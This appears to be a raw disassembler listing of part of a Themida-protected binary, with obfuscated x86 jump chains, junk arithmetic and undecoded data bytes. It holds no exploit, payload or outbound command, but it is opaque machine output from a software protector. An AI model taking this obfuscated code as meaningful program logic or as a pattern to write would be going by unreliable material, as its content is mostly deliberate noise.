		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55CE1F:				; CODE XREF: Themida_:005537E9j
		push	7709h
		jmp	loc_558C66
; ---------------------------------------------------------------------------


loc_55CE29:				; CODE XREF: Themida_:0055D4EEj
		or	edx, 62F94849h
		sub	edx, 945CA872h
		sub	ebx, edx
		jmp	loc_55727B
; ---------------------------------------------------------------------------
		dd 8B243433h, 1662424h,	0E99C2404h, 0FFFF5D6Fh
; ---------------------------------------------------------------------------


loc_55CE4C:				; CODE XREF: Themida_:0056690Aj
		push	47Bh
		mov	[esp], esi
		push	edx
		jmp	loc_55D6D9
; ---------------------------------------------------------------------------


loc_55CE5A:				; CODE XREF: Themida_:005664D8j
		add	esp, 4
		push	ecx
		mov	ecx, 1B1905F1h
		sub	eax, ecx
		pop	ecx
		add	eax, ecx
		jmp	loc_563366
; ---------------------------------------------------------------------------
		dd offset dword_508358+310h
		align 2
		dw 489h
		dd 634EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE7A:				; CODE XREF: Themida_:005660E4j
		push	edx
		jmp	loc_5667D6
; ---------------------------------------------------------------------------
		dd 0F281FA87h, 2E7D5802h, 3EEB6850h, 1589C97h, 0D50158C2h
		dd 6E72E95Ah, 0EFC1FFFFh, 81EFD102h, 9EA0E9F7h,	0E9F80106h
		dd 86D7h
; ---------------------------------------------------------------------------


loc_55CEAC:				; CODE XREF: Themida_:00558A98j
		mov	edx, 6A1B0830h
		xor	ebp, edx
		pop	edx
		add	ebp, 4332AC27h
		xor	esi, ebp
		jmp	loc_562DD6
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd offset byte_5904E9
		dd 24348B00h, 4C481h, 0E9810000h, 38647B91h, 0FFE9CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CEDD:				; CODE XREF: Themida_:00564FC5j
		add	eax, 695C4D48h
		mov	ecx, [esp]
		jmp	loc_55F892
; ---------------------------------------------------------------------------
		dw 7401h
		dd 0B1E90424h, 31FFFF6Eh, 0F28958C6h, 4180E9h, 2DD00100h
		dd 77405F59h, 0AE7F292Dh, 0C5D1E911h, 0EDC1FFFFh, 12E58103h
		dd 833FBD03h, 0DDF701EDh, 0FDFBED81h, 0EB01FCEEh, 76E9525Dh
		dd 89000075h, 99E92434h, 59FFFF98h, 0FFAD2CE9h,	24048FFFh
		dd 4BE56h, 21E90000h, 5D000001h, 453FE681h, 0F6812DCCh
		dd 5BAE0A5Bh, 348BF029h, 3FE95524h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF5F:				; CODE XREF: Themida_:00558FA1j
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	edx, 2
		push	267Ch
		mov	[esp], eax
		mov	eax, 2A17C60h
		sub	edx, eax
		pop	eax
		and	edx, 610A3E4Ah
		neg	edx
		push	1B6Bh
		jmp	loc_55938D
; ---------------------------------------------------------------------------


loc_55CF8C:				; CODE XREF: Themida_:00555BB0j
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, eax
		jmp	loc_55A19E
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 54A8E9h, 5EF00100h, 5A2434FFh, 4C481h, 148B0000h
		dd 4C48324h, 4EC8355h, 0B8240489h, 5AC64F71h, 0BD155CBDh
		dd 58C53119h, 8103EDC1h, 0FFFFFFEDh, 0D8BA52FFh, 810B0643h
		dd 0D3396CAh, 0E9DAF742h, 0FFFFC48Ah, 840BC181h, 0CCE914B6h
		dd 89FFFFB1h, 0CCBF243Ch, 8174F748h, 0CF49D9EFh, 0C1DFF76Bh
		dd 0ABE902EFh, 57FFFF76h, 98632BBFh, 97F7810Eh,	4F7C2960h
		dd 2A6FC781h, 0F781611Ah, 1FDDAF8Dh, 555FFE01h,	77079F68h
		dd 0EDC15D3Fh, 0B8504D07h, 6F25AC75h, 0FF8DA6E9h, 243487FFh
		dd 241C895Ch, 0D98858B3h, 28DD045Bh, 66DD2CC8h,	81240C8Bh
		dd 2C4h, 4EC8300h, 0E9241489h, 0FFFFFA2Dh, 4247401h, 24148B5Eh
		dd 815D5455h, 4C5h, 4C58100h, 87000000h, 84E9242Ch, 4A000062h
		dd 0E9241487h, 3D60h, 6242C81h,	5B078D26h, 0FF665BE9h
		dd 0E9F109FFh, 4EA0h, 4240481h,	0FF000000h, 29E92434h
		dd 0FEFFFFE8h, 6E1C0C9h, 0CAE9D1F6h, 1000026h, 24FBE9EFh
		db 2 dup(0)
word_55D0C6	dw 77FFh		; DATA XREF: Themida_:00552A78o
		dd 58669D1Ch, 9C240418h, 0FF74F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D0D5:				; CODE XREF: Themida_:00556984j
		xor	ecx, edx
		pop	edx
		sub	ebx, 256D6B4Ch
		sub	ebx, 45A327ECh
		add	ebx, ecx
		jmp	loc_5545DA
; ---------------------------------------------------------------------------
		db 31h
		dd 0D9295DEBh, 81E9015Bh, 753A6C1h, 2434FF7Fh, 4C4815Dh
		dd 83000000h, 0C8702C1h, 0F7665C24h, 793AE9E9h,	0FA01FFFFh
		dd 0DBC7815Fh, 0E953706Fh, 9AEBh
; ---------------------------------------------------------------------------


loc_55D120:				; CODE XREF: Themida_:0055FC0Cj
		sub	bl, 20h
		sub	bl, 7Ch
		sub	bl, al
		jmp	loc_567E9D
; ---------------------------------------------------------------------------


loc_55D12D:				; CODE XREF: Themida_:0056810Bj
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	40000h
		pop	edx
		jmp	loc_5655CA
; ---------------------------------------------------------------------------
aQiss		db 'Q┴АИ',0
		dw 14h
		dd 24148900h, 4BAh, 539AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D162:				; CODE XREF: Themida_:00563CBDj
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		jmp	loc_55E7B5
; ---------------------------------------------------------------------------


loc_55D180:				; CODE XREF: Themida_:0056677Ej
		add	edx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	edx, 650F34E3h
		jmp	loc_55E615
; ---------------------------------------------------------------------------
aYhH		db 'Yh',0Dh,'H',0
		dw 0E900h
		dd 0FFFF5F85h, 5C243487h, 1340F781h, 5AE95265h,	87FFFF7Dh
		dd 0E95C242Ch, 0FFFF796Bh, 815EF101h, 4ECh, 242C8900h
		dd 2BDh, 5DE90100h, 0E904EC83h,	0FFFF62F0h
; ---------------------------------------------------------------------------


loc_55D1D4:				; CODE XREF: Themida_:00558A57j
		push	ebx
		mov	ebx, 8B569B4h
		or	ebx, 457E5FB9h
		xor	ebx, 5EC26E00h
		mov	edx, ebx
		pop	ebx
		xor	edx, 703A2639h
		jmp	loc_55C378
; ---------------------------------------------------------------------------


loc_55D1F4:				; CODE XREF: Themida_:00559CB0j
		sub	edx, 9729E444h
		xor	ecx, edx
		pop	edx
		jmp	loc_55477E
; ---------------------------------------------------------------------------
		dw 3F34h
		dd 6604E0C0h, 303BB753h, 1C8B66F8h, 5C33E924h, 0C481FFFFh
		dd 4, 0FFC7B4E9h, 0E95966FFh, 0A493h
; ---------------------------------------------------------------------------


loc_55D228:				; CODE XREF: Themida_:0055AFA5j
		shr	edx, 4
		inc	edx
		sub	edx, 306B70E9h
		sub	edx, 0D4E2CB66h
		jmp	loc_55852A
; ---------------------------------------------------------------------------


loc_55D23D:				; CODE XREF: Themida_:0055BFDBj
		mov	ebp, esp
		jmp	loc_562997
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFD300h, 0C0EAE954h, 815DFFFFh, 4C5h
		dd 84BA5200h, 0F77E203Bh, 2E2C1DAh, 0E907EAC1h,	0A9ECh
; ---------------------------------------------------------------------------


loc_55D26C:				; CODE XREF: Themida_:00565730j
		add	edi, 4
		jmp	loc_567AF1
; ---------------------------------------------------------------------------
		db 50h
		dd 3E375CB8h, 0A3FBE93Dh, 814D0000h, 443CE7EDh,	2C83556Fh
		dd 2C8BFF24h, 4C48124h,	0E9000000h, 62C8h, 5E9C581h, 0E80108A5h
		dd 27D7E9h
		db 0
byte_55D2A9	db 64h,	66h, 0Fh	; DATA XREF: Themida_:00552964o
		dd 895002B6h, 86853E0h,	89000054h, 68E92434h, 8300005Fh
		dd 0EB8104C4h, 4, 8B241C87h, 2C892424h,	2474FF24h, 242C8B04h
		dd 8F04C483h, 248B2404h, 89666424h, 58D1E902h, 0BB53FFFFh
		dd 2B711B28h, 0FFBBE8E9h, 0E905B0FFh, 0FFFFD2C7h, 0A05D8F7h
		dd 2D6FD64Dh, 879D57Dh,	5058C331h, 0B8h, 89D82900h, 24048BC3h
		dd 4C481h, 0C14B0000h, 0EB8105EBh, 0F9073002h, 2C186A2Dh
		dd 0E9D8292Eh, 3FC5h, 8104C483h, 0B223C7C1h, 81C10108h
		dd 0B223C7E9h, 0D7C18108h, 8B50E947h, 89522404h, 4C281E2h
		dd 0E9000000h, 0FFFFB7F8h, 8B242C33h, 88522424h, 0D18851CAh
		dd 59870C88h, 0E92434FFh, 0FFFFAF0Fh, 81243C8Bh, 4C4h
		dd 55B52D00h, 0E6E93809h, 3400000Ah, 58C72852h,	2843F780h
		dd 665B5BF8h, 0F9B25253h, 4EC81h, 0C890000h, 0D0885024h
		dd 0E9C78853h, 641Eh, 8839F8BEh, 50D6F737h, 99A5E9h, 81D52900h
		dd 17043BEDh, 0F7455A2Ah, 2EDC1DDh, 0F114C581h,	0FFE9E090h
		db 82h,	2 dup(0FFh)
byte_55D3D3	db 66h			; DATA XREF: Themida_:00552930o
		dd 5024048Bh, 0A90CE9h,	243C8B00h, 4C481h, 42420000h, 118DEA81h
		dd 0A305EB4Fh, 2916D01Dh, 1DA32DD0h, 1BE916D0h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D3FF:				; CODE XREF: Themida_:00552FC9j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_55E801
; ---------------------------------------------------------------------------
aZcbMgBMgBPOSsc	db '╫х~┤C│Йmg^{)Й│бmg^{]│й╞>o',0Dh,'ИАc',0
		align 2
word_55D432	dw 34FFh		; DATA XREF: Themida_:005529B4o
		dd 0EC835924h, 241C8904h, 729068h, 24248900h, 4240481h
		dd 8B000000h, 0C481241Ch, 4, 4C381h, 0EC830000h, 24148904h
		dd 0FF9FA6E9h, 3EE968FFh, 0C890000h, 81E18924h,	4C1h, 925FE900h
		dd 0EC810000h, 4, 0E9242C89h, 8DE4h, 34FFEF89h,	0E9515D24h
		dd 0FFFFC248h
; ---------------------------------------------------------------------------


loc_55D494:				; CODE XREF: Themida_:00566A12j
		push	0B2D75E5h
		jmp	loc_562A60
; ---------------------------------------------------------------------------


loc_55D49E:				; CODE XREF: Themida_:0055DEEEj
		pop	esi
		push	ebp
		jmp	loc_5666EA
; ---------------------------------------------------------------------------
aUHsEv		db 'U╫ЛH▒',0Bh,'EV╬',0
		align 10h
		dd 0EE290000h, 0FF9A1DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D4B9:				; CODE XREF: Themida_:00554028j
		sub	ebx, 33B262B6h
		inc	ebx
		push	edx
		mov	edx, 7BF23020h
		and	edx, 2F9C3432h
		dec	edx
		sub	edx, 1
		push	6B82h
		mov	[esp], ecx
		jmp	loc_561724
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 61DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D4E5:				; CODE XREF: Themida_:0055B41Fj
		shr	ebx, 7
		push	edx
		mov	edx, 4F612876h
		jmp	loc_55CE29
; ---------------------------------------------------------------------------


loc_55D4F3:				; CODE XREF: Themida_:0055C273j
		pop	edx
		push	esi
		jmp	loc_5598DC
; ---------------------------------------------------------------------------


loc_55D4FA:				; CODE XREF: Themida_:00559D5Ej
		push	6314h
		mov	[esp], ebp
		jmp	loc_56015F
; ---------------------------------------------------------------------------


loc_55D507:				; CODE XREF: Themida_:0055FE0Ej
		push	edi
		mov	edi, 78B55B3Ah
		push	ecx
		mov	ecx, 35643779h
		xor	ecx, 0BA28B9h
		sub	edi, ecx
		jmp	loc_558672
; ---------------------------------------------------------------------------


loc_55D520:				; CODE XREF: Themida_:00562008j
		mov	eax, [esp]
		jmp	loc_567282
; ---------------------------------------------------------------------------
		dd 8324148Bh, 545104C4h, 8216E959h, 8966FFFFh, 5AB1240Ch
		dd 0FF7518E9h, 417DBFFFh, 0C581951Ah, 7686174Dh, 0ED81FD01h
		dd 7686174Dh, 91B1E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D55A:				; CODE XREF: Themida_:00561FD4j
		xor	edi, 532C663Eh
		sub	eax, edi
		pop	edi
		shl	eax, 2
		inc	eax
		sub	eax, 0D5770F83h
		add	edi, eax
		pop	eax
		sub	edi, 4D5B632Bh
		jmp	loc_5637A4
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89502414h, 405E0h, 7DE90000h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D58B:				; CODE XREF: Themida_:00559748j
		xor	edi, 0A4187ADCh
		push	esi
		jmp	loc_55CD99
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9662424h, 0E99C2404h, 0FFFF5617h
; ---------------------------------------------------------------------------


loc_55D5A4:				; CODE XREF: Themida_:0055F554j
		mov	al, 27h
		add	al, 4Bh
		xor	al, 0F5h
		sub	al, 0C0h
		push	edx
		mov	dh, 52h
		xor	al, dh
		pop	edx
		and	cl, al
		pop	eax
		dec	cl
		not	cl
		push	ebx
		mov	bl, 22h
		sub	bl, 0A3h
		and	cl, bl
		pop	ebx
		neg	cl
		xor	cl, 0D3h
		mov	bh, cl
		pop	ecx
		add	dl, bh
		jmp	loc_559AB5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 592434FFh, 4C481h, 0EC830000h, 0B63FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D5E6:				; CODE XREF: Themida_:00562822j
		push	eax
		mov	eax, 41F414FCh
		mov	ebp, eax
		jmp	loc_555E48
; ---------------------------------------------------------------------------


loc_55D5F3:				; CODE XREF: Themida_:00556F6Aj
		pop	ecx
		jmp	loc_55C1CF
; ---------------------------------------------------------------------------


loc_55D5F9:				; CODE XREF: Themida_:00561CA1j
		push	1466h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_5629F0
; ---------------------------------------------------------------------------


loc_55D616:				; CODE XREF: Themida_:005664FAj
		mov	esi, 124026E9h
		jmp	loc_55EEC9
; ---------------------------------------------------------------------------
		dd 0FF5596E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D625:				; CODE XREF: Themida_:0055E7E8j
		dec	ebp
		not	ebp
		jmp	loc_55E571
; ---------------------------------------------------------------------------


loc_55D62D:				; CODE XREF: Themida_:00561CCBj
		mov	ebp, esp
		push	esi
		push	ebx
		push	416304Fh
		pop	ebx
		shl	ebx, 3
		sub	ebx, 20B18274h
		mov	esi, ebx
		pop	ebx
		add	ebp, 635C42A6h
		jmp	loc_5641F3
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 2404335Ch, 0E9240431h
		dd 0FFFF69A0h, 0BDBA5251h, 89283167h, 1CE95AD1h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D67B:				; CODE XREF: Themida_:0055E9E5j
		add	esp, 4
		jmp	loc_5654E7
; ---------------------------------------------------------------------------


loc_55D686:				; CODE XREF: Themida_:00560CF8j
		add	ecx, 4D51BCF9h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55FB5B
; ---------------------------------------------------------------------------
		dd 0E904E5C1h, 0FFFFBE01h, 1E99BB53h, 0EBC163EAh, 62EB8107h
		dd 819137A3h, 0BD4B05EEh, 0E9DE295Bh, 0FFFF7878h, 5904C483h
		dd 9E9DF01h, 29FFFFEAh,	24348BF7h, 71D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D6D9:				; CODE XREF: Themida_:0055CE55j
		mov	edx, 35161308h
		jmp	loc_5612C2
; ---------------------------------------------------------------------------
		db 46h
		dd 9E9F787h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6EB:				; CODE XREF: Themida_:0055DA70j
		push	eax
		mov	eax, 3CC1599Ah
		push	edi
		mov	edi, 47DD63C6h
		jmp	loc_55A780
; ---------------------------------------------------------------------------


loc_55D6FC:				; CODE XREF: Themida_:00566977j
		add	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		sub	ecx, edi
		jmp	loc_553445
; ---------------------------------------------------------------------------
		dd offset asc_5BF680	; "ллллллллллллллллллллллллллллллллллллллл"...
		dd 63E95AF0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D717:				; CODE XREF: Themida_:00565820j
		shr	ebx, 8
		or	ebx, 685B67F3h
		or	ebx, 31852DAh
		push	esi
		mov	esi, 0
		sub	esi, ebx
		jmp	loc_55B41C
; ---------------------------------------------------------------------------


loc_55D733:				; CODE XREF: Themida_:0055E57Aj
		add	ebx, ebp
		jmp	loc_557D82
; ---------------------------------------------------------------------------
		dw 0E1C0h
		dd 7E9C005h, 0E9D7C180h, 354Bh,	835DEA01h, 148904ECh, 2474FF24h
		dd 1DB2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D75A:				; CODE XREF: Themida_:0056776Bj
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 5D8F5664h
		jmp	loc_55C034
; ---------------------------------------------------------------------------


loc_55D76F:				; CODE XREF: Themida_:005629ACj
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 53437086h
		xor	[esp+4], edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	edi
		jmp	loc_553504
; ---------------------------------------------------------------------------
		dd 7AB8C781h, 835D615Bh, 1C8904ECh, 81E38924h, 4C3h, 4BD5500h
		dd 81000000h, 464032C3h, 81EB294Ch, 464032EBh, 727FE94Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D7BE:				; CODE XREF: Themida_:0055696Cj
		add	ebp, 3DE86696h
		shl	ebp, 2
		xor	ebp, 11869F3h
		sub	ebp, 4551DF4h
		sub	edx, ebp
		pop	ebp
		add	edx, esi
		add	edx, 4762118Bh
		pop	esi
		sub	ecx, edx
		jmp	loc_554AB3
; ---------------------------------------------------------------------------
		dw 0B866h
		dd 66556146h, 8966C589h, 611AE9EAh, 0F0290000h,	214B5B05h
		dd 37685E0Eh, 0E9000000h, 96F6h
; ---------------------------------------------------------------------------


loc_55D808:				; CODE XREF: Themida_:005579FCj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_554CDE
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 2434FFC6h,	4C48158h, 81000000h, 4EEh, 24348700h
		dd 242C895Ch, 242C8B54h, 0E904C483h, 0FFFFC9A1h, 2BDh
		dd 1520E900h, 0F0290000h, 0EB1D2D5Eh, 0E950C228h, 0FFFFDDBDh
		dd 0DFEBE952h, 5056FFFFh, 9E049668h, 24048B4Eh,	4C481h
		dd 0E0C10000h, 0BE564007h, 80FBE32h, 0FFA51BE9h, 505396FFh
		dd 0FC2124B8h, 58C3892Bh, 815BD831h, 742B4EEEh,	971BE92Fh
		dd 1CE90000h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D89F:				; CODE XREF: Themida_:005654F0j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		jmp	loc_56074D
; ---------------------------------------------------------------------------


loc_55D8BD:				; CODE XREF: Themida_:0055FB71j
		push	edi
		jmp	loc_562014
; ---------------------------------------------------------------------------


loc_55D8C3:				; CODE XREF: Themida_:00567233j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		pop	eax
		push	2381h
		mov	[esp], ebp
		push	2000000h
		jmp	loc_55BFD7
; ---------------------------------------------------------------------------


loc_55D8E0:				; CODE XREF: Themida_:0056336Bj
		mov	[eax], dl
		pop	eax
		jmp	loc_553CA2
; ---------------------------------------------------------------------------
		dd 89240C89h, 7E77E9E1h, 0DE310000h, 6812E95Bh,	8F5E0000h
		dd 248B2404h, 24048924h, 0A4E9E089h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D90B:				; CODE XREF: Themida_:005569B9j
		push	ax
		pushf
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_55D913:				; CODE XREF: Themida_:0055C17Cj
		sub	eax, ebx
		sub	eax, 50EB0EE4h
		sub	eax, 3BA04E1Ch
		push	ecx
		push	ebx
		push	17DA4E23h
		pop	ebx
		jmp	loc_567B6E
; ---------------------------------------------------------------------------
		dd 0FFEB8143h, 81FFFFFFh, 280927C3h, 4EBC109h, 0D7E3EB81h
		dd 0DA29A1BAh, 81C2295Bh, 0EF0087C2h, 9F07E962h, 2C8B0000h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 0FFF00DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D969:				; CODE XREF: Themida_:00561FC7j
		dec	eax
		jmp	loc_553036
; ---------------------------------------------------------------------------
		db 80h
		dd 0EB8029F5h, 9B61E9ECh, 835C0000h, 0C8702C1h,	0D3665C24h
		dd 0E99C240Ch, 0FFFF522Fh, 0DAD4ED81h, 0EB895A16h, 81242C8Bh
		dd 4C4h, 7EBC100h, 0E957D3F7h, 7784h, 405E089h,	0E9000000h
		dd 0FFFFB195h, 242C895Ch, 277E9h, 4B800h, 6C810000h, 16DC0424h
		dd 440154AAh, 44810424h, 16DC0424h, 5A5854AAh, 4C281h
		dd 0C2830000h, 74FF5204h, 60E90424h, 0FFFFFFF2h, 835A2434h
		dd 48F04C4h, 29685C24h,	0E9000004h, 0FFFFCED7h
; ---------------------------------------------------------------------------


loc_55DA00:				; CODE XREF: Themida_:00560DE0j
		and	al, 3Bh
		dec	al
		neg	al
		xor	al, 5Fh
		add	al, 32h
		add	bl, 0E9h
		add	bl, al
		sub	bl, 0E9h
		pop	eax
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_561FD9
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD1B32EAh, 2CEA811Bh, 8913E623h, 0C6E95AD6h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA33:				; CODE XREF: Themida_:00567A3Bj
		jz	loc_560DAA
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 608C3149h
		add	dword ptr [esp+4], 6CDF03DCh
		sub	dword ptr [esp+4], 25AC364Ch
		sub	[esp+4], edx
		add	dword ptr [esp+4], 25AC364Ch
		push	eax
		jmp	loc_562984
; ---------------------------------------------------------------------------


loc_55DA69:				; CODE XREF: Themida_:00566DA4j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55D6EB
; ---------------------------------------------------------------------------
		db 68h,	62h, 7Ah
		dd 3C890000h, 17BFBF24h, 0F781463Ah, 72B97DCBh,	8DE9DFF7h
		dd 0B0FFFF61h, 4E8C006h, 5D044004h, 28E8C580h, 644CE9C5h
		dd 0C681FFFFh, 732F28A0h, 0E7E9CE01h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DAAF:				; CODE XREF: Themida_:0055FE53j
		add	esp, 4
		add	edi, 117532DFh
		add	edi, edx
		sub	edi, 117532DFh
		jmp	loc_55C625
; ---------------------------------------------------------------------------


loc_55DAC8:				; CODE XREF: Themida_:00554274j
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0C4810000h, 4, 5104C183h, 42474FFh, 81240C8Bh
		dd 4C4h, 7880E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DAF2:				; CODE XREF: Themida_:0055F753j
		sub	dword ptr [esp+4], 2F7A66FCh
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_5633D2
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFFEA5h, 1BB8505Fh, 0E976D679h, 0FFFF6820h, 0E06479BBh
		dd 6EC2E901h, 0D587FFFFh, 5F07C581h, 0EA89CEBAh, 0FF66D9E9h
		dd 6BE955FFh, 8BFFFFBBh, 0C892424h, 6EBE5624h, 8120BF23h
		dd 0B760E7CEh, 0DEEE8126h, 8177B855h, 7F1652E6h, 0BEE68124h
		dd 81502D53h, 0FB01F0C6h, 5EF189FFh, 8B1C4F09h,	0C481240Ch
		dd 4, 0FF503AE9h, 243C87FFh, 0E930FF5Ch, 0FFFF502Fh
; ---------------------------------------------------------------------------


loc_55DB8C:				; CODE XREF: Themida_:0055F92Aj
		pop	esp
		add	edx, 0D250017h
		mov	edi, [esp]
		add	esp, 4
		shr	edx, 3
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		push	edi
		mov	edi, 1
		sub	esi, edi
		jmp	loc_5619BD
; ---------------------------------------------------------------------------


loc_55DBB2:				; CODE XREF: Themida_:0055531Ej
		mov	dh, 8Ch
		or	dh, 0D3h
		xor	dh, 25h
		sub	bl, dh
		pop	edx
		sub	bl, al
		push	342Ah
		mov	[esp], edx
		mov	dl, 0DCh
		push	ecx
		jmp	loc_56134B
; ---------------------------------------------------------------------------
		db 33h
		dd 895C2404h, 5954240Ch, 7B96BE56h, 0E6C16482h,	0AE05E907h
		dd 422DFFFFh, 29383310h, 104205F8h, 672D3833h, 0E9400808h
		dd 6FC4h, 5585450h, 4, 405h, 24048700h,	2E80E9h, 8F5800h
		dd 0FF4FA2E9h, 0FFC301FFh, 83582434h, 0C23104C4h, 9E71E9h
		dd 1B26BF00h, 0E95173C1h, 23ECh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_565C73
; ---------------------------------------------------------------------------
dword_55DC3C	dd 833C77FFh, 48904ECh,	7CBCB824h, 69E9670Dh ; DATA XREF: Themida_:0055292Co
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DC4F:				; CODE XREF: Themida_:005667AAj
		mov	ecx, eax
		pop	eax
		mov	ebx, ecx
		pop	ecx
		mov	ebp, [esp]
		jmp	loc_566153
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 4EC81h, 5E90000h
		db 26h,	2 dup(0)
byte_55DC6B	db 81h			; DATA XREF: Themida_:00552A34o
		dd 4ECh, 24148900h, 0FF83CEE9h,	4B8FFh,	0ED810000h, 6FB15819h
		dd 7185E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DC89:				; CODE XREF: Themida_:00562CE5j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5568FF
; ---------------------------------------------------------------------------
		db 68h,	1, 2Eh
		dd 34890000h, 1BBF5724h, 890E0504h, 0CE815FFEh,	1C5B1696h
		dd 61EE814Eh, 21EE5002h, 24348BF7h, 4C481h, 0B8500000h
		dd 4EE42947h, 5C35D0F7h, 14EE93Dh, 0E95158C7h, 2A28h, 815D5455h
		dd 4C5h, 4C58300h, 8B242C87h, 0C4812424h, 4, 2C381h, 1C870000h
		dd 24248B24h, 0FFDD85E9h, 3BE381FFh, 81116A6Ch,	8B232DF3h
		dd 0D3F74346h, 98F5EB81h, 0D901A91Ch, 240C335Bh, 53F3E9h
		dd 85CE8100h, 5165F103h, 0FF5C90E9h, 76C181FFh,	0C1083178h
		dd 0C18102E9h, 4947E371h, 8159CD01h, 7E1060C5h,	246C010Dh
		dd 242C8B08h, 5923E9h, 3EBC100h, 3A9DF381h, 53517BF0h
		dd 67242C81h, 8B141A23h, 0C481240Ch, 4,	2367C181h, 0D668141Ah
		dd 0E9000013h, 83B8h, 52C680h, 52EE80EEh, 63B45059h, 923CE9h
		db 0
byte_55DD89	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00552A8Co
		dd 592434FFh, 0CB12E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD96:				; CODE XREF: Themida_:00559BA2j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_55DDA0:				; CODE XREF: Themida_:005649A5j
		mov	bl, 2Ah
		sub	bl, 29h
		jmp	loc_5572DB
; ---------------------------------------------------------------------------
		dw 0F068h
		dd 8900007Fh, 0E189240Ch, 4C181h, 0BF570000h, 62BA69E2h
		dd 4707E7C1h, 0F105F781h, 0E9815D34h, 920023Fh,	0C181F901h
		dd 920023Fh, 240C335Fh,	0E9240C31h, 4130h
; ---------------------------------------------------------------------------


loc_55DDE4:				; CODE XREF: Themida_:0055DE3Bj
		mov	cl, 7Ah
		push	bx
		mov	bl, al
		mov	al, cl
		push	eax
		mov	ah, bl
		mov	cl, ah
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_55A22B
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 875DEE01h, 248B2434h, 85D3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


